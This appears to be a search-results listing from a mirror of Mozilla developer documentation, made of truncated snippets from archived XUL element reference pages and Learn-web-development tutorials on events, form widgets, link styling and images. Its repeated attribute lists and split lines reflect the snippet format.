...inal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
...gn, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only this element is used as a container for custom toolbars, which are added in the custom toolbar dialog. ...
..., hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(),...
...ontrollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
toolbarspacer - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only a space between toolbar items. ...
...l, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only a flexible space between toolbar items. ...
...nal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
...gn, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
treechildren - Archive of obsolete content
container rows in the tree. more information is available in the xul tutorial. attributes alternatingbackground attributes alternatingbackground obsolete since gecko 2.0 type: boolean if true, the background of the tree's rows will alternate between two colors. you can use the :-moz-tree-row css style to do this instead. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="to...
treecols - Archive of obsolete content
ted ] a group of treecol elements. there should one and only one treecols element in a tree. more information is available in the xul tutorial. attributes pickertooltiptext properties accessibletype examples (example needed) attributes pickertooltiptext type: string the text for the tooltip on the column picker. ...
...l, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
... interfaces nsiaccessibleprovider ...
treerow - Archive of obsolete content
in a treechildren element inside the parent treeitem. more information is available in the xul tutorial. attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element. for more information, see styling a tree. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
treeseparator - Archive of obsolete content
examples | attributes | properties | methods | related ] used to place a separator row in a tree. attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element. for more information, see styling a tree. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
triple - Archive of obsolete content
ributes object type: string the object of the element. it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
vbox - Archive of obsolete content
| related ] a container element which can contain any number of child elements. this is equivalent to the box element, except it defaults to vertical orientation. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, hbox ...
where - Archive of obsolete content
ubject must come after value alphabetically startswith the value of subject must start with the value endswith the value of subject must end with the value contains the value of subject must contain the value as a substring subject type: string the variable or string to compare. value type: string the value to compare. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
2006-11-24 - Archive of obsolete content
proposal for (wcap) calendar subscription a proposal shows a possible integration into lightning. ...
... proposal for (wcap) calendar subscription a proposal shows a possible integration into lightning. ...
... proposal for (wcap) calendar subscription a proposal shows a possible integration into lightning. ...
... proposal for (wcap) calendar subscription a proposal shows a possible integration into lightning. treating calendars as tags discussions concerning about the layout of calendar list in lightning/sunbird. meetings no meetings were scheduled this week. ...
XForms Switch Module - Archive of obsolete content
the module defines for this switch, case and toggle elements. switch element the element (see the spec) is used in conjunction with case and toggle elements. the switch element contains case elements which in turn contain markup. only the contents of a single case may be displayed at one time. ...
...e first selected case will appear and all others will not be visible. if no case is initially selected, the first case inside the switch becomes selected and visible. representations the case element doesn't have a visual representation. toggle element the element (see the spec) selects one possible case from an exclusive list of alternatives in a switch. a toggle can be designated as an
event handler using xml
events or may also be contained in an action element. in either scenario, it would be triggered by an
event. attributes
events special case - the idref of a case element to select representations the case element doesn't have a visual representation. example <switch> <case id="in" selected="true"> <input ref="yourname"> <label>please tell me ...
...so be contained in an action element. in either scenario, it would be triggered by an
event. attributes
events special case - the idref of a case element to select representations the case element doesn't have a visual representation. ...
...element doesn't have a visual representation. ...
Extra lives - Game development
); lifelosttext = game.add.text(game.world.width*0.5, game.world.height*0.5, 'life lost, click to continue', textstyle); lifelosttext.anchor.set(0.5); lifelosttext.visible = false; this way changing the font in one variable will apply the changes to every place it is used. the lives handling code to implement lives in our game, let's first change the ball's function bound to the onoutofbounds
event. ...
...ick to continue', textstyle); lifelosttext.anchor.set(0.5); lifelosttext.visible = false; this way changing the font in one variable will apply the changes to every place it is used. the lives handling code to implement lives in our game, let's first change the ball's function bound to the onoutofbounds
event. instead of executing an anonymous function and showing the alert right away : ball.
events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a new function called ballleavescreen; delete the previous
event handler (shown above) and replace it with the following line: ball.
events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas. add the ballleavescreen() func...
...ro value. if yes, then the player still has some lives left and can continue to play — they will see the life lost message, the ball and paddle positions will be reset on screen and on the next input (click or touch) the message will be hidden and the ball will start to move again. when the number of available lives reaches zero, the game is over and the game over alert message will be shown.
events you have probably noticed the add() and addonce() method calls in the above two code blocks and wondered how they differ. the difference is that the add() method binds the given function and causes it to be executed every time the
event occurs, while addonce() is useful when you want to have the bound function executed only once and then unbound so it is not executed again. in our case, on ever...
...obably noticed the add() and addonce() method calls in the above two code blocks and wondered how they differ. the difference is that the add() method binds the given function and causes it to be executed every time the
event occurs, while addonce() is useful when you want to have the bound function executed only once and then unbound so it is not executed again. in our case, on every outofbounds
event the ballleavescreen will be executed, but when the ball leaves the screen we only want to remove the message from the screen once. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps lives made the game more forgiving — if you lose one life, you still have two more left and can continue to...
Styling links - Learn web development
ode = htmlinput.value; var csscode = cssinput.value; var output = document.queryselector(".output"); var solution = document.getelementbyid("solution"); var styleelem = document.createelement('style'); var headelem = document.queryselector('head'); headelem.appendchild(styleelem); function drawoutput() { output.innerhtml = htmlinput.value; styleelem.textcontent = cssinput.value; } reset.add
eventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = csscode; drawoutput(); }); solution.add
eventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\n...
...let's look at a really simple example that adds an icon to external links (links that lead to other sites.) such an ico...
...let's look at a really simple example that adds an icon to external links (links that lead to other sites.) such an icon usually looks like a little arrow pointing out...
...let's look at a really simple example that adds an icon to external links (links that lead to other sites.) such an icon usually looks like a little arrow pointing out of a box — for this example, we'll use this...
Example 4 - Learn web development
elementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.previouselementsibling; return nativewidget.selectedindex; }; // ------------- // //
event binding // // ------------- // window.add
eventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.add
eventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option')...
...", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.add
eventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (option) { option.add
eventlistener('mouseover', function () { highlightoption(select, option); }); }); select.add
eventlistener('click', function (
event) { toggleoptlist(select); }); select.add
eventlistener('focus', function (
event) { activeselect(select, selectlist); }); select.add
eventlistener('blur', function (
event) { deactivateselect(select); }); }); }); ...
...ouseover', function () { highlightoption(select, option); }); }); select.add
eventlistener('click', function (
event) { toggleoptlist(select); }); select.add
eventlistener('focus', function (
event) { activeselect(select, selectlist); }); select.add
eventlistener('blur', function (
event) { deactivateselect(select); }); }); }); window.add
eventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { ...
...ad', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.add
eventlistener('click', function (
event) { updatevalue(select, index); }); }); select.add
eventlistener('keyup', function (
event) { var length = optionlist.length, index = getindex(select); if (
event.keycode === 27) { deactivateselect(select); } if (
event.keycode === 40 && index < length - 1) { index++; } if (
event.keycode === 38 && index > 0) { ...
UI pseudo-classes - Learn web development
; } we've directly selected the inputs we want to disable using input[type="text"]:disabled, but we also wanted to gray out the corresponding text labels. these weren't quite as easy to select, so we've used a class to provide them with that styling. ...
...[type="text"]:disabled, but we also wanted to gray out the corresponding text labels. these weren't quite as easy to select, so we've used a class to provide them with that styling. ...
...t labels. these weren't quite as easy to select, so we've used a class to provide them with that styling. ...
... you can see the example in action below (also see it live here, and see the source code): read-only and read-write in a similar manner to :disabled and :enabled, the :read-only and :read-write pseudo-classes target two states that form inputs toggle between. read-only inputs have their values ...
JavaScript basics - Learn web development
then test with several arguments. for example: multiply(4, 7); multiply(20, 20); multiply(0.5, 3); note: the return statement tells the browser to return the result variable out of the function so it is available to use. this is necessary because variables defined inside functions are only available inside those functions. this is called variable scoping. (read more about variable scoping.)
events real interactivity on a website requires
events handlers. these are code structures that listen for activity in the browser, and run code in response. the most obvious example is handling the click
event, which is fired by the browser when you click on something with your mouse. to demonstrate this, enter the following into your console, then click on the current webpage: document.queryselecto...
...tivity in the browser, and run code in response. the most obvious example is handling the click
event, which is fired by the browser when you click on something with your mouse. to demonstrate this, enter the following into your console, then click on the current webpage: document.queryselector('html').onclick = function() { alert('ouch! stop poking me!'); } there are many ways to attach an
event handler to an element. here we select the <html> element, setting its onclick handler property equal to an anonymous (i.e. nameless) function, which contains the code we want the click
event to run. note that document.queryselector('html').onclick = function() {}; is equivalent to let myhtml = document.queryselector('html'); myhtml.onclick = function() {}; it's just shorter. supercharging o...
...png') { myimage.setattribute('src','images/firefox2.png'); } else { myimage.setattribute('src','images/firefox-icon.png'); } } save all files and load index.html in the browser. now when you click the image, it should change to the other one. this is what happened. you stored a reference to your <img> element in the myimage variable. next, you made this variable's onclick
event handler property equal to a function with no name (an "anonymous" function). so every time this element is clicked: the code retrieves the value of the image's src attribute. the code uses a conditional to check if the src value is equal to the path of the original image: if it is, the code changes the src value to the path of the second image, forcing the other image to be loaded insid...
...k uses the negation operator (logical not, represented by the !) to check whether the name data exists. if not, the setusername() function runs to create it. if it exists (that is, the user set a user name during a previous visit), we retrieve the stored name using getitem() and set the textcontent of the heading to a string, plus the user's name, as we did inside setusername(). put this onclick
event handler (below) on the button. when clicked, setusername() runs. this allows the user to enter a different name by pressing the button. mybutton.onclick = function() { setusername(); } a user name of null? when you run the example and get the dialog box that prompts you to enter your user name, try pressing the cancel button. you should end up with a title that reads mozilla is cool, nu...
Images in HTML - Learn web development
.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...= userentry; solution.value = 'show solution'; } updatecode(); }); var htmlsolution = '<img src="https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg"\n alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="a t-rex on display in the manchester university museum">'; var solutionentry = htmlsolution; textarea.add
eventlistener('input', updatecode); window.add
eventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.pr
eventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea...
....7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
... solution'; } updatecode(); }); var htmlsolution = '<figure>\n <img src="https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg"\n alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171">\n <figcaption>a t-rex on display in the manchester university museum</figcaption>\n</figure>'; var solutionentry = htmlsolution; textarea.add
eventlistener('input', updatecode); window.add
eventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.pr
eventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea...
From object to iframe — other embedding technologies - Learn web development
